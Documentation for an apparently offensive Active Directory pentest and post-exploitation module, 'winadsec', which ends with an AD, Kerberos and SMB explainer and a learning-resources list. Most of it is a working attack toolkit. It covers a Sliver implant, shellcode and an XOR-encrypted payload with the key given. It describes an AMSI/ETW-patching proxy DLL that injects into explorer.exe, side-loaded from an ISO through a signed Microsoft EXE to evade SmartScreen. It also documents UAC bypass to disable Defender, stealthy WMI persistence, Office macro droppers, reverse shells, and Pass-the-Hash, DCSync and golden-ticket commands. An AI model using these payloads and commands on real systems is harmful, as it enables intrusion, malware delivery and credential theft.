- ▸ Access to a Windows Active Directory domain (lab or authorized target)
- ▸
impacket:pip install impacket - ▸
bloodhound:yay -S bloodhound - ▸ Valid domain credentials (even low-privilege user account)
set dc 192.168.1.x set domain lab.local set user testuser set operation enum run
- • Easy: enum, user_list, share_enum
- • Medium: kerberoast, asrep_roast, pass_spray
- • Advanced: dcsync, golden_ticket, lateral_move
Overview
What winadsec does
winadsec is a full-chain Windows Active Directory pentest and post-exploitation module built for the VANTA framework. It integrates unauthenticated discovery, credential-based enumeration, lateral movement, UAC bypass, reboot-persistent implants, Sliver C2 session management, and a complete payload delivery pipeline — all driven by a single JSON context from the VANTA shell.
The module spans three major capability areas: AD assessment (discover, enumerate, loot), post-exploitation (escalate, persist, C2), and payload generation (implant → shellcode → DLL → ISO). All output is written to output_dir.
Quick Start
Running winadsec
winadsec reads JSON from stdin and writes JSON to stdout. The input structure takes a target (DC IP) and a params object with operation plus any required inputs.
# 1. Load the module in VANTA shell
use winadsec
# 2. Unauthenticated DC fingerprint
set operation discover
run 192.168.1.200
# 3. Full assessment with credentials
set operation auto
set domain CORP
set username jsmith
set password P@ssword1
run 192.168.1.200
# 4. Direct JSON (outside VANTA shell)
echo '{
"target": "192.168.1.200",
"params": {
"operation": "auto",
"domain": "CORP",
"username": "jsmith",
"password": "P@ssword1",
"output_dir": "./loot"
}
}' | python3 winadsec.py
Operations
Full attack chain
End-to-end compromise from unauthenticated discovery to domain-wide credential dump. Each step feeds the next through the shared output_dir.
operation: gen_sliver builds a Windows EXE via sliver-client generate that callbacks to your Sliver server on c2_http_port (default 8443). Garble obfuscation + evasion flags enabled. Output: WinUpdate.exe.donut -f 1 -a 2 on the generated EXE to produce position-independent x64 shellcode (implant.bin).update.bin. Serve via python3 -m http.server 9000 from output_dir.version.dll proxy that patches AmsiScanBuffer and EtwEventWrite in-process, downloads + decrypts update.bin via WinHTTP, and injects shellcode into explorer.exe via CreateRemoteThread. Forwards all 17 real exports.version.dll + a Microsoft-signed OneDriveSetup.exe into an ISO. User mounts → double-clicks the signed EXE → DLL side-loads → shellcode runs → C2 session. SmartScreen allows the signed EXE; the DLL is never directly executed.sliver_sessions to confirm callback, sliver_whoami to verify integrity level.lsa_fix sets LimitBlankPasswordUse=0 to enable blank-password SMB authentication for further lateral movement.wmi_sub installs a WMI EventFilter + CommandLineEventConsumer that fires ~60s after boot. Not visible in Autoruns by default. Fallback: run_key (low-priv) or service (admin).impacket-secretsdump. Crack offline with hashcat -m 1000 (NTLM) or -m 13100 (Kerberoast).Operations
Assessment operations
Set via set operation <name> in the VANTA shell or "operation": "name" in JSON. Credential tags show requirement level.
$krb5tgs$23$ hashcat-compatible hashes to output_dir.DONT_REQUIRE_PREAUTH. Dumps AS-REP hashes — no credentials needed. Crack with hashcat -m 18200.hash param.lhost:lport.Operations
Post-exploitation
uac_bypass
Writes a payload command to a HKCU protocol handler key via PowerShell -EncodedCommand (delivered through WMI exec), then triggers an auto-elevating Windows binary. The elevated process runs the payload at high integrity. Registry cleanup happens automatically after execution.
| uac_method | Registry key | Trigger binary | Notes |
|---|---|---|---|
fodhelper | HKCU\...\ms-settings\shell\open\command | fodhelper.exe | Default. Requires DelegateExecute="". Win10 / Win11. |
eventvwr | HKCU\...\mscfile\shell\open\command | eventvwr.exe | Fallback. No DelegateExecute needed. Older builds. |
wsreset | HKCU\...\AppX82…\Shell\open\command | wsreset.exe | UWP path. Newer Win11 builds. Needs UWP present. |
| uac_payload | Effect |
|---|---|
lsa_fix | Set HKLM LimitBlankPasswordUse=0 — enables blank-password SMB authentication |
add_admin | Add current user to the local Administrators group |
disable_defender | Set-MpPreference -DisableRealtimeMonitoring $true |
enable_rdp | Set fDenyTSConnections=0 in HKLM — opens RDP port 3389 |
lsa_fix
Shortcut for uac_bypass with uac_payload=lsa_fix. Disables LimitBlankPasswordUse via UAC-elevated reg.exe add. Verifies the write succeeded and returns bypassed: true/false in the JSON result.
Operations
Persistence
All methods survive reboot and shutdown. Install with operation: persistence, remove with remove: true. Use persist_name to blend in (e.g. WindowsSecurityHealth, MicrosoftUpdateHelper).
| persist_method | Privilege | Trigger | Stealth | Notes |
|---|---|---|---|---|
run_key |
low-priv | User logon | ★★☆ | HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Visible in Autoruns. Default fallback. |
startup_folder |
low-priv | User logon | ★☆☆ | Copies EXE to user Startup folder. Very visible to analysts. |
scheduled_task |
low-priv | On logon | ★★☆ | schtasks /sc onlogon. Visible in Task Scheduler. Survives any user's logon. |
service |
admin | Boot (pre-logon) | ★★☆ | Auto-start service. Fires before any user logs in. Visible in Services snap-in. |
wmi_sub |
admin | ~60s after boot | ★★★ | WMI EventFilter + CommandLineEventConsumer. Not shown in Autoruns by default. Hardest to detect and remove. |
all_user |
admin | Any user logon | ★★☆ | HKLM\Software\Microsoft\Windows\CurrentVersion\Run. Fires for every user that logs in. |
Operations
Sliver C2 bridge
All Sliver ops use the installed sliver-client binary with operator config auto-loaded from ~/.sliver-client/configs/. Single-command ops use implant -s SESSION_ID; multi-step ops write RC script files and run via console --rc.
cmd.exe /Q /c on the implant. Returns stdout and stderr combined.reg_value to read; provide it to write. Supports string, DWORD, binary.whoami /groups. Confirms UAC bypass success.output_dir with timestamp filename.Operations
Payload generation
| Operation | Tool | Output file | Notes |
|---|---|---|---|
gen_sliver | sliver-client generate | WinUpdate.exe | HTTP implant, garble + evasion flags |
gen_shellcode | donut -f 1 -a 2 | implant.bin | Raw x64 position-independent shellcode |
gen_payload | Python XOR + struct.pack | update.bin | 4-byte LE len header + XOR ciphertext |
gen_proxy_dll | zig cc -target x86_64-windows-gnu | version.dll | Proxy DLL + AMSI/ETW patch + WinHTTP loader |
gen_uac_dll | zig cc -target x86_64-windows-gnu | uacbypass.dll | Reflective DLL for fodhelper COM IShellDispatch2 |
gen_iso | xorriso -as mkisofs | OneDriveUpdate.iso | Signed EXE + malicious DLL in ISO container |
gen_all | all of the above | full drop/ | Runs complete chain in sequence |
XOR key
Default key (hex): 4e3a7f1289abcdef0123456789fedcba. Override with the xor_key parameter. The proxy DLL and update.bin must use identical keys — mismatch causes a crash on the remote host.
Proxy DLL internals
On DLL_PROCESS_ATTACH: loads the real System32\version.dll, resolves all 17 exports for transparent forwarding, spawns payload_thread. The thread patches AmsiScanBuffer and EtwEventWrite in-process, opens a WinHTTP connection to C2_HOST:C2_PORT/C2_PATH, reads the XOR-encrypted update.bin, decrypts it, and calls VirtualAllocEx + WriteProcessMemory + CreateRemoteThread on explorer.exe. Shellcode survives host-process exit since it runs inside explorer.
Operations
Red team payloads
Three community-contributed operations for payload delivery beyond the Sliver chain. These work standalone or alongside the gen_* pipeline.
fileless_pe
Generates a self-contained PEloader.py that fetches a remote EXE or DLL over HTTP and executes it entirely in memory using pythonmemorymodule — no file is written to disk on the target. Deploy the loader, run it with Python; the remote binary is never saved.
| Parameter | Type | Default | Description |
|---|---|---|---|
| url | string | required | HTTP(S) URL serving the EXE or DLL |
| file_type | exe | dll | exe | Type of remote binary to load |
| method | string | — | Export to call after loading (DLL only, e.g. DLLRegisterServer) |
| output | string | PEloader.py | Output filename for the generated loader script |
Target requires: pip install pythonmemorymodule
inject_exe
Bundles a malicious EXE and a legitimate EXE into a single --onefile --windowed binary via PyInstaller. On execution the malicious EXE runs silently in the background while the legitimate EXE launches as cover. The bundle inherits the icon of the legit binary.
| Parameter | Required | Description |
|---|---|---|
| mal_exe | yes | Local path to the malicious EXE to run silently |
| legit_exe | yes | Local path to the legitimate EXE used as cover and icon source |
Requires: pip install pyinstaller (in rqm.md)
office_macros
Generates ready-to-paste VBA macro templates for Office documents. All macros fire on AutoOpen(). Paste into the VBA editor (Alt+F11) and save as .docm or .xlsm.
| macro_type | Technique | Key parameters |
|---|---|---|
| download_exec | MSXML2.XMLHTTP + ADODB.Stream → execute | payload_url |
| hidden_cmd_exec | bitsadmin download + hidden cmd.exe start | payload_url |
| persistence | HKCU Run key via WScript.Shell.RegWrite | reg_path |
| pwsh_cmd | Hidden PowerShell with execution-policy bypass | ps_command |
| reverse_shell | IEX DownloadString PowerShell cradle via cmd.exe | rev_url, lhost, lport |
| all | All five templates in one call | — |
Operations
Reverse shell
Integrated reverse shell delivery via the revshell module. Generates a payload for the specified type, optionally auto-delivers it to the target via wmiexec if credentials are provided, then starts a listener on lhost:lport.
| Parameter | Default | Description |
|---|---|---|
| lhost | auto-detect | Listener IP. Defaults to the local interface IP. |
| lport | 4444 | Listener port. |
| payload_type | powershell_b64 | Payload type (any type supported by revshell: powershell_b64, cmd_nc, etc.) |
| serve | true | If true, starts an interactive multi-session server. If false, listens for one connection for duration seconds. |
| duration | 120 | Single-connection listen timeout in seconds (only when serve=false). |
Reference
Parameters
All parameters go inside the params object in the JSON input, or as set <param> <value> in the VANTA shell.
Core
| Parameter | Type | Default | Description |
|---|---|---|---|
| operation | string | required | Operation to run (see all sections above) |
| domain | string | "" | NETBIOS or FQDN domain name (e.g. CORP or corp.local) |
| username | string | "" | Domain or local username for authentication |
| password | string | "" | Password. Blank string "" enables LimitBlankPasswordUse bypass |
| hash | string | "" | NT hash for Pass-the-Hash (LM:NT format). Used by secrets, exec, wmiexec. |
| output_dir | string | "./output" | Directory for all output files (loot, payloads, logs) |
UAC bypass
| Parameter | Values | Default | Description |
|---|---|---|---|
| uac_method | fodhelper | eventvwr | wsreset | fodhelper | Which auto-elevation binary to abuse |
| uac_payload | lsa_fix | add_admin | disable_defender | enable_rdp | lsa_fix | Action to perform at high integrity |
Persistence
| Parameter | Values | Default | Description |
|---|---|---|---|
| persist_method | run_key | startup_folder | scheduled_task | service | wmi_sub | all_user | run_key | Persistence mechanism to install/remove |
| persist_name | string | WindowsUpdate | Name to register the persistence under (blend in) |
| exe | path string | "" | Remote path of the EXE to persist (e.g. C:\Windows\Temp\svcx.exe) |
| remove | true | false | false | If true, removes the named persistence entry instead of installing |
Sliver C2
| Parameter | Type | Description |
|---|---|---|
| session_id | string | Sliver session ID (from sliver_sessions). Required for most sliver_* ops. |
| dll_path | string | Local path to the DLL for sliver_spawndll injection |
| pid | integer | Target PID for sliver_spawndll injection |
| hive | HKCU | HKLM | HKEY_… | Registry hive for sliver_registry operations |
| reg_key | string | Registry key path (e.g. Software\Microsoft\Windows\CurrentVersion\Run) |
| reg_name | string | Registry value name |
| reg_value | string | Registry value data (omit to read; provide to write) |
| reg_type | string | dword | binary | Registry value type for write operations (default: string) |
Payload generation
| Parameter | Type | Default | Description |
|---|---|---|---|
| c2_host | string | "" | Attacker IP hosting the encrypted update.bin payload |
| c2_port | integer | 9000 | HTTP port serving the payload file |
| c2_http_port | integer | 8443 | Sliver server HTTPS listener port (for gen_sliver) |
| sliver_exe | path string | "WinUpdate.exe" | Path to the Sliver implant EXE (input for gen_shellcode) |
| legit_exe | path string | "" | Path to a Microsoft-signed EXE to bundle in the ISO |
| xor_key | hex string | 4e3a7f12… | 16-byte XOR key (hex). Must match key baked into version.dll. |
Reference
Examples
Full gen_all delivery package
echo '{
"target": "192.168.1.200",
"params": {
"operation": "gen_all",
"c2_host": "192.168.1.114",
"c2_port": 9000,
"c2_http_port": 8443,
"sliver_exe": "/tmp/WinUpdate.exe",
"legit_exe": "/opt/OneDriveSetup.exe",
"output_dir": "/tmp/drop"
}
}' | python3 winadsec.py
UAC bypass → lsa_fix (blank password SMB)
echo '{
"target": "192.168.1.200",
"params": {
"operation": "lsa_fix",
"username": "Aprosa",
"password": "",
"uac_method": "fodhelper"
}
}' | python3 winadsec.py
WMI persistence (survives reboot)
echo '{
"target": "192.168.1.200",
"params": {
"operation": "persistence",
"username": "Administrator",
"password": "P@ssword1",
"persist_method": "wmi_sub",
"exe": "C:\\Windows\\Temp\\svcx.exe",
"persist_name": "WindowsSecurityHealth"
}
}' | python3 winadsec.py
Sliver spawndll — reflective DLL injection
echo '{
"target": "192.168.1.200",
"params": {
"operation": "sliver_spawndll",
"session_id": "a1b2c3d4",
"dll_path": "/tmp/drop/uacbypass.dll",
"pid": 5456
}
}' | python3 winadsec.py
Full auto AD assessment
echo '{
"target": "192.168.1.200",
"params": {
"operation": "auto",
"domain": "SABBA",
"username": "Aprosa",
"password": "",
"output_dir": "./loot"
}
}' | python3 winadsec.py
Pass-the-Hash NTDS dump
echo '{
"target": "192.168.1.200",
"params": {
"operation": "secrets",
"domain": "corp.local",
"username": "Administrator",
"hash": "aad3b435b51404eeaad3b435b51404ee:5e884898da28047151d0e56f8dc6292773603d0d"
}
}' | python3 winadsec.py
Registry write via Sliver
echo '{
"target": "192.168.1.200",
"params": {
"operation": "sliver_registry",
"session_id": "a1b2c3d4",
"hive": "HKCU",
"reg_key": "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"reg_name": "WindowsUpdate",
"reg_value": "C:\\Windows\\Temp\\svcx.exe",
"reg_type": "string"
}
}' | python3 winadsec.py
Fileless PE — load remote EXE in memory
echo '{
"target": "192.168.1.200",
"params": {
"operation": "fileless_pe",
"url": "http://192.168.1.114:9000/implant.exe",
"file_type": "exe",
"output": "/tmp/PEloader.py"
}
}' | python3 winadsec.py
Inject EXE — bundle mal + legit into one binary
echo '{
"target": "192.168.1.200",
"params": {
"operation": "inject_exe",
"mal_exe": "/tmp/shell.exe",
"legit_exe": "/opt/OneDriveSetup.exe"
}
}' | python3 winadsec.py
Office macros — all five templates
echo '{
"target": "192.168.1.200",
"params": {
"operation": "office_macros",
"macro_type": "all",
"payload_url": "http://192.168.1.114:8080/payload.exe",
"lhost": "192.168.1.114",
"lport": 4444
}
}' | python3 winadsec.py
Reverse shell — auto-deliver via wmiexec
echo '{
"target": "192.168.1.200",
"params": {
"operation": "shell",
"username": "Administrator",
"password": "P@ssword1",
"lhost": "192.168.1.114",
"lport": 4444,
"payload_type": "powershell_b64"
}
}' | python3 winadsec.py
Reference
Requirements
| Tool | Required for | Tier |
|---|---|---|
| Python 3.8+ | Running winadsec | Always |
| impacket | SMB, LDAP, secretsdump, wmiexec, kerberoast | Always |
| ldap3 | LDAP enumeration (users, groups, GPP) | Always |
| dnspython | DC SRV record resolution | Always |
| sliver-client | All sliver_* operations and gen_sliver | C2 ops |
| zig | Cross-compiling version.dll and uacbypass.dll | gen ops |
| donut | EXE → position-independent shellcode | gen ops |
| xorriso | Building the delivery ISO | gen_iso |
| bloodhound-python | bloodhound operation | Optional |
| hashcat / john | Offline crack of NTLM / Kerberoast hashes | Optional |
| pyinstaller | inject_exe operation — bundle mal + legit EXE | inject_exe |
| pythonmemorymodule | fileless_pe loader (installed on target) | fileless_pe |
Install
# Python packages
pip3 install impacket ldap3 dnspython bloodhound pyinstaller
# Arch / CachyOS / Manjaro
sudo pacman -S xorriso smbclient
# Debian / Ubuntu / Kali
sudo apt install xorriso smbclient rpcclient
# Fedora / RHEL
sudo dnf install xorriso samba-client
# Zig cross-compiler (for DLL generation)
wget https://ziglang.org/download/0.12.0/zig-linux-x86_64-0.12.0.tar.xz
tar -xf zig-linux-x86_64-0.12.0.tar.xz
sudo mv zig-linux-x86_64-0.12.0 /opt/zig
sudo ln -s /opt/zig/zig /usr/local/bin/zig
# donut (EXE → shellcode)
pip3 install donut-shellcode
install.sh at the repo root handles all package installation automatically. Run it once after cloning to get all dependencies for your distro family.
Internals
Active Directory Architecture — From Zero
If you've never seen Active Directory before, start here. AD is Microsoft's directory service — the centralized system that manages authentication, authorization, and user/computer accounts across a Windows enterprise network.
What is Active Directory?
Imagine a company with 500 employees. Each employee needs a username and password to log into their work computer. Without AD, each computer would have its own list of users — a nightmare to manage. With AD, there's one central database: the Domain Controller (DC). Every computer in the company checks with the DC when someone logs in.
## Active Directory domain structure
Domain: corp.local
┌─────────────────────────────────────────────┐
│ Domain Controller (DC) │
│ │
│ Active Directory Database (NTDS.dit) │
│ ┌────────────────────────────────────┐ │
│ │ Objects: │ │
│ │ Users: Alice, Bob, Admin │ │
│ │ Groups: Domain Admins, IT, HR │ │
│ │ Computers: PC01, PC02, Server01 │ │
│ │ GPOs: Password Policy, Firewall│ │
│ └────────────────────────────────────┘ │
│ │
│ Services: Kerberos KDC, DNS, LDAP │
└─────────────────────────────────────────────┘
↑ ↑
PC01 authenticates Server01 gets policies
(checks credentials) (from Group Policy)
Key Components Every Pentester Must Know
| Component | What It Is | Why Attackers Target It |
|---|---|---|
| Domain Controller (DC) | Windows Server running AD DS — stores the entire domain database | Owning the DC = owning the entire domain. All password hashes, all permissions live here. |
| NTDS.dit | The AD database file at C:\Windows\NTDS\NTDS.dit | Contains password hashes for every user. DCSync attack extracts hashes without touching the file. |
| Kerberos | Authentication protocol used by AD | Multiple attack vectors: AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Golden/Silver Ticket |
| LDAP | Protocol for querying the AD directory (port 389/636) | Anyone with domain credentials can query LDAP. Attackers enumerate users, groups, SPNs, ACLs. |
| SMB | File sharing protocol (port 445) — used for lateral movement | PsExec, WMI, admin shares — the main channels for moving between machines |
| SYSVOL | Shared folder on DC containing Group Policy scripts | Historically stored credentials in GPP XML files (now patched, but still found in legacy environments) |
| LSASS | Local Security Authority Subsystem — holds credentials in memory | Dumping LSASS gives NTLM hashes, Kerberos tickets, and sometimes plaintext passwords |
Internals
Kerberos — From Zero to Golden Ticket
Kerberos is the authentication protocol Active Directory uses. Understanding it at the protocol level is essential for exploiting Kerberoasting, AS-REP Roasting, and forging Golden/Silver Tickets.
How Kerberos Works (Normal Authentication)
## Kerberos 3-party authentication — no password sent over network
Parties:
Client = the user/machine authenticating
KDC = Key Distribution Center (runs on the Domain Controller)
Service = the resource the user wants to access (e.g., a file share)
## Step 1: AS-REQ (Authentication Service Request)
Client → KDC:
"I'm Alice, I want a Ticket-Granting Ticket (TGT)"
Encrypted with: NTLM hash of Alice's password (client never sends the password!)
## Step 2: AS-REP (Authentication Service Response)
KDC → Client:
TGT (Ticket-Granting Ticket) encrypted with: krbtgt account's NTLM hash
Session key encrypted with: Alice's NTLM hash
# Alice can decrypt the session key (she knows her password)
# Alice CANNOT decrypt the TGT (she doesn't know krbtgt's hash)
# The TGT proves "Alice authenticated at time T"
## Step 3: TGS-REQ (Ticket-Granting Service Request)
Client → KDC:
"I have this TGT, I want to access CIFS/fileserver.corp.local"
Sends: TGT + service name (SPN)
## Step 4: TGS-REP (Ticket-Granting Service Response)
KDC → Client:
Service Ticket encrypted with: file server's computer account NTLM hash
# Client CANNOT decrypt this — it's for the service to read
# THIS IS WHAT KERBEROASTING STEALS — encrypted with service account hash
## Step 5: AP-REQ (Application Request)
Client → Service (file server):
Sends the service ticket
Service decrypts it with its own hash, verifies the client, grants access
AS-REP Roasting — No Credentials Needed
## AS-REP Roasting: exploit accounts with "Do not require Kerberos preauthentication"
## Normally: AS-REQ includes an encrypted timestamp (proves you know the password)
## With preauth disabled: KDC sends AS-REP to ANYONE who asks — no password needed!
## What the KDC returns (AS-REP packet structure):
AS-REP {
pvno: 5 # Kerberos version 5
msg-type: 11 # AS-REP
crealm: "CORP.LOCAL"
cname: "alice"
ticket: <TGT encrypted with krbtgt hash — unusable without krbtgt hash>
enc-part: {
etype: 18 # AES256-CTS-HMAC-SHA1 or 23=RC4-HMAC
cipher: <session key + metadata encrypted with ALICE'S PASSWORD HASH>
}
}
## The enc-part cipher is encrypted with the user's hash
## Attacker can request this without authentication
## Then crack it offline with hashcat:
hashcat -m 18200 asrep_hash.txt rockyou.txt
## How windowsAD's adsec module detects this:
ldapsearch: find accounts with DONT_REQUIRE_PREAUTH flag set in userAccountControl
DONT_REQUIRE_PREAUTH = 0x400000 (bit 22 of userAccountControl)
ldapfilter: (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Kerberoasting — Cracking Service Account Passwords
## Kerberoasting: request service tickets for accounts with SPNs
## Any domain user can request a TGS for any SPN — this is by design!
## The TGS is encrypted with the service account's NTLM hash
## If the service account has a weak password → crackable offline
## Attack flow:
## 1. Find all accounts with SPNs (Service Principal Names):
ldapfilter: (&(objectClass=user)(servicePrincipalName=*))
# SPNs look like: MSSQLSvc/sqlserver01.corp.local:1433
# Any user account with an SPN is a service account
## 2. Request TGS for each SPN (Kerberos protocol step 3-4 above)
GetUserSPNs.py corp.local/alice:password -request
## 3. Hash format for hashcat:
$krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/sqlserver01*$<hash>
## 4. Crack:
hashcat -m 13100 tgs_hash.txt rockyou.txt -r best64.rule
## Why this works: service accounts often have passwords set once and never changed
## They don't expire. Common passwords: Company2023!, ServiceAcc0unt!
Golden Ticket — Full Domain Compromise
## Golden Ticket: forge a TGT using the krbtgt account's NTLM hash
## The krbtgt hash is used to encrypt ALL TGTs in the domain
## If you have it, you can create TGTs for any user, with any privileges, valid for 10 years
## Prerequisites: krbtgt NTLM hash (obtained by DCSync or NTDS.dit dump)
## DCSync — replicate credentials without touching the DC disk:
python3 secretsdump.py -just-dc-user krbtgt corp.local/admin:'Password1'@dc01.corp.local
# Output: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH_HERE:::
## Forge the Golden Ticket (using impacket's ticketer.py):
python3 ticketer.py \
-nthash <krbtgt_ntlm_hash> \
-domain-sid S-1-5-21-XXXX-XXXX-XXXX \
-domain corp.local \
-groups 512 \ # 512 = Domain Admins group RID
Administrator
## Result: golden_ticket.ccache — a valid Kerberos ticket for Administrator
## Valid for 10 years. Persists even if Administrator's password changes.
## Only invalidated by changing krbtgt's password TWICE (disrupts all sessions).
## Use the ticket:
KRB5CCNAME=golden_ticket.ccache python3 psexec.py corp.local/[email protected] -k -no-pass
## You now have SYSTEM on the Domain Controller
Internals
LDAP — Querying the AD Directory
LDAP (Lightweight Directory Access Protocol) is how everything talks to Active Directory. Understanding LDAP lets you enumerate the entire domain structure using only a regular domain user account.
## LDAP query structure
protocol: ldap:// (port 389) or ldaps:// (port 636, TLS)
base DN: DC=corp,DC=local ← the root of the AD tree
filter: (objectClass=user) ← what objects to find
attrs: sAMAccountName,memberOf ← which fields to return
## Example: find all users with ldapsearch (CLI):
ldapsearch -H ldap://dc01.corp.local -D "[email protected]" -W \
-b "DC=corp,DC=local" \
"(objectClass=user)" \
sAMAccountName userAccountControl memberOf
## windowsAD module runs these queries with Python's ldap3 library
## Key LDAP filters used internally:
# All enabled users:
(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
# Domain Admins members:
(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local))
# All computer accounts:
(objectClass=computer)
# Accounts with SPN (Kerberoastable):
(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))
# Accounts without preauth (AS-REP Roastable):
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
BloodHound — Graph Attack Path Analysis
## BloodHound collects LDAP data and visualizes attack paths
## windowsAD runs SharpHound (or python bloodhound) to collect the data
## Collection — what data BloodHound gathers:
- All users, groups, computers, GPOs, OUs
- Group memberships (who is in Domain Admins, who is in IT, etc.)
- ACL edges (who has GenericAll, WriteDACL, DCSync rights on what)
- Session data (who is logged into which computer right now)
- Local admin rights (who has local admin on which machines)
## ACL attack paths (why ACLs matter):
Alice → GenericAll → Bob's account → Bob is Domain Admin
# If Alice has GenericAll over Bob, Alice can reset Bob's password
# Then login as Bob → Domain Admin → DCSync → Golden Ticket
## BloodHound query: find shortest path to Domain Admins from any user
MATCH (u:User),(g:Group {name:"DOMAIN [email protected]"}),
p=shortestPath((u)-[*1..]->(g))
RETURN p
Internals
SMB — Lateral Movement Protocol
SMB (Server Message Block) is Windows's file sharing protocol and the main channel for lateral movement in a Windows environment. It runs on port 445. Understanding its structure explains why PsExec, WMI, and Pass-the-Hash work.
## SMB negotiation — what happens when you connect to port 445
1. TCP connect to target:445
2. SMB negotiate protocol:
Client → Server: NEGOTIATE (lists supported SMB versions: SMB1/2/3)
Server → Client: NEGOTIATE response (selects version, encryption caps)
3. Session setup (authentication):
Client → Server: SESSION_SETUP (NTLM or Kerberos authentication)
# NTLM challenge-response: server sends 8-byte challenge
# client responds with NTLM_HASH(challenge + username + ...) — the Net-NTLMv2 hash
# THIS is what Responder captures — it's crackable offline
4. Tree connect:
Client → Server: TREE_CONNECT \\server\share
Server → Client: TREE_CONNECT response (share ID)
5. File operations: CREATE, READ, WRITE, CLOSE
## Impacket PsExec — how it works over SMB
## (windowsAD's shell operation uses this):
1. Authenticate to \\target\IPC$ (inter-process communication share)
2. Create a unique service binary at \\target\ADMIN$ (C:\Windows\)
3. Use DCE/RPC over SMB (pipe: \PIPE\svcctl) to start the service
4. Service spawns cmd.exe with output redirected to a named pipe
5. Client reads from the named pipe — this is your shell
## Pass-the-Hash — authenticate with NTLM hash (no password needed)
python3 psexec.py -hashes :NTLM_HASH corp.local/Administrator@target
# NTLM authentication accepts the hash directly — designed behavior
# This is why NTLM hash = password for lateral movement purposes
## NTLM hash format:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH_HERE:::
↑ LM hash (empty/disabled) ↑ NT hash (this is usable)
Responder — Capturing Net-NTLMv2 Hashes
## Responder poisons LLMNR/NBT-NS/mDNS — captures challenge-response hashes
## LLMNR (Link-Local Multicast Name Resolution) — fallback DNS
## When a Windows machine tries to resolve a hostname that DNS can't find:
## It broadcasts LLMNR/NBT-NS: "Anyone know where '\\fileserver' is?"
## Responder answers: "I am \\fileserver! Authenticate to me!"
## Victim authenticates → Responder captures the Net-NTLMv2 hash
## Responder output example:
[SMB] NTLMv2-SSP Client : 192.168.1.50
[SMB] NTLMv2-SSP Username : CORP\alice
[SMB] NTLMv2-SSP Hash : alice::CORP:1122334455667788:HASH...
## Crack with hashcat:
hashcat -m 5600 ntlmv2_hash.txt rockyou.txt
## Or relay (no crack needed — works for local admins):
## ntlmrelayx: relay the hash to another machine instead of cracking it
python3 ntlmrelayx.py -t smb://192.168.1.100 -smb2support
## If alice is local admin on 192.168.1.100: you get SYSTEM
Extend
Customization & Extension
Adding a Custom LDAP Query
# windowsAD.py — add to LDAP_QUERIES dict
LDAP_QUERIES = {
"users": "(objectClass=user)",
"groups": "(objectClass=group)",
"computers": "(objectClass=computer)",
"spns": "(&(objectClass=user)(servicePrincipalName=*))",
# ── Add your custom query: ──
"unconstrained": "(userAccountControl:1.2.840.113556.1.4.803:=524288)",
# 524288 = 0x80000 = TRUSTED_FOR_DELEGATION bit
# Accounts with unconstrained delegation can impersonate ANY user
# Printer Bug (SpoolSample) forces DC to authenticate → steal TGT
}
# Usage: set operation ldap_query; set query_name unconstrained
Writing a Custom Post-Exploitation Chain
# Add a "dump_laps" operation — extract LAPS passwords via LDAP
# LAPS (Local Administrator Password Solution) stores local admin passwords in AD
# Readable by delegated accounts — find who can read ms-Mcs-AdmPwd attribute
def _dump_laps_operation(self):
"""Enumerate computers with LAPS and read passwords if permitted."""
self.log("[*] Querying LDAP for LAPS-managed computers...")
ldap_filter = "(&(objectClass=computer)(ms-Mcs-AdmPwd=*))"
attributes = ["sAMAccountName", "ms-Mcs-AdmPwd", "ms-Mcs-AdmPwdExpirationTime"]
results = self.ldap_search(ldap_filter, attributes)
for entry in results:
name = entry.get("sAMAccountName", "?")
pwd = entry.get("ms-Mcs-AdmPwd", "<no read access>")
self.log(f"[+] {name}: {pwd}")
self.findings.append({
"type": "laps_password",
"computer": name,
"password": pwd,
"severity": "CRITICAL" if pwd != "<no read access>" else "INFO"
})
Study
Learning Path & Resources
Active Directory security is a deep field. Build your knowledge systematically — the payoff is huge because AD is in almost every enterprise.
Step 1: Windows and AD Foundations
| Resource | Type | Why |
|---|---|---|
| TryHackMe — "Active Directory Basics" room | Free | Visual intro to AD structure, DC, domains, forests, trusts. Complete before touching windowsAD module. |
| Microsoft Learn — Active Directory Domain Services | Free | Official Microsoft documentation. Understand how AD is meant to work before learning how to break it. |
| The Hacker Recipes (thehacker.recipes) | Free | Best free AD attack reference online. Covers every attack windowsAD implements with theory + commands. Use it alongside the module. |
Step 2: Hands-On Labs
| Lab | Cost | Focus |
|---|---|---|
| TryHackMe — "Attacktive Directory" room | Free | Guided lab: Kerberoasting, ASREPRoasting, credential reuse, DCSync. Run windowsAD alongside each step. |
| GOAD (Game of Active Directory) — github.com/Orange-Cyberdefense/GOAD | Free / self-hosted | The best free AD lab environment. Deploys a full vulnerable AD forest with multiple DCs. Use windowsAD against it for realistic practice. |
| HackTheBox — AD machines (Forest, Cascade, Monteverde, Sauna) | Free tier | Real AD exploitation chains. Each machine covers different attack paths. Start with Forest (AS-REP Roasting → DCSync). |
| VulnAD (github.com/WazeHell/vulnerable-AD) | Free | Single-script deployment of a vulnerable Windows AD lab. Faster setup than GOAD. |
Step 3: Key Tools to Study
| Tool | Purpose | Learn At |
|---|---|---|
| BloodHound (github.com/BloodHoundAD/BloodHound) | Graph-based AD attack path analysis — visually find the shortest path to Domain Admin | BloodHound wiki + TryHackMe "BloodHound" room |
| Impacket (github.com/fortra/impacket) | Python suite for SMB, Kerberos, LDAP attacks — windowsAD uses it internally | Impacket examples directory + CrackMapExec docs |
| CrackMapExec (github.com/mpgn/CrackMapExec) | Swiss army knife for AD lateral movement — spray credentials, execute commands over SMB/WMI | CME wiki — try each module against GOAD |
| Rubeus (github.com/GhostPack/Rubeus) | Windows-side Kerberos toolkit — Kerberoasting, ASREPRoasting, Pass-the-Ticket (for use after getting foothold) | Rubeus README + SpecterOps blog posts |
Step 4: Deep Learning
| Resource | Level | Best For |
|---|---|---|
| TCM Security — Practical Active Directory course (free on YouTube) | Beginner | Full course covering every major AD attack. Run windowsAD alongside each section to automate what you learn manually. |
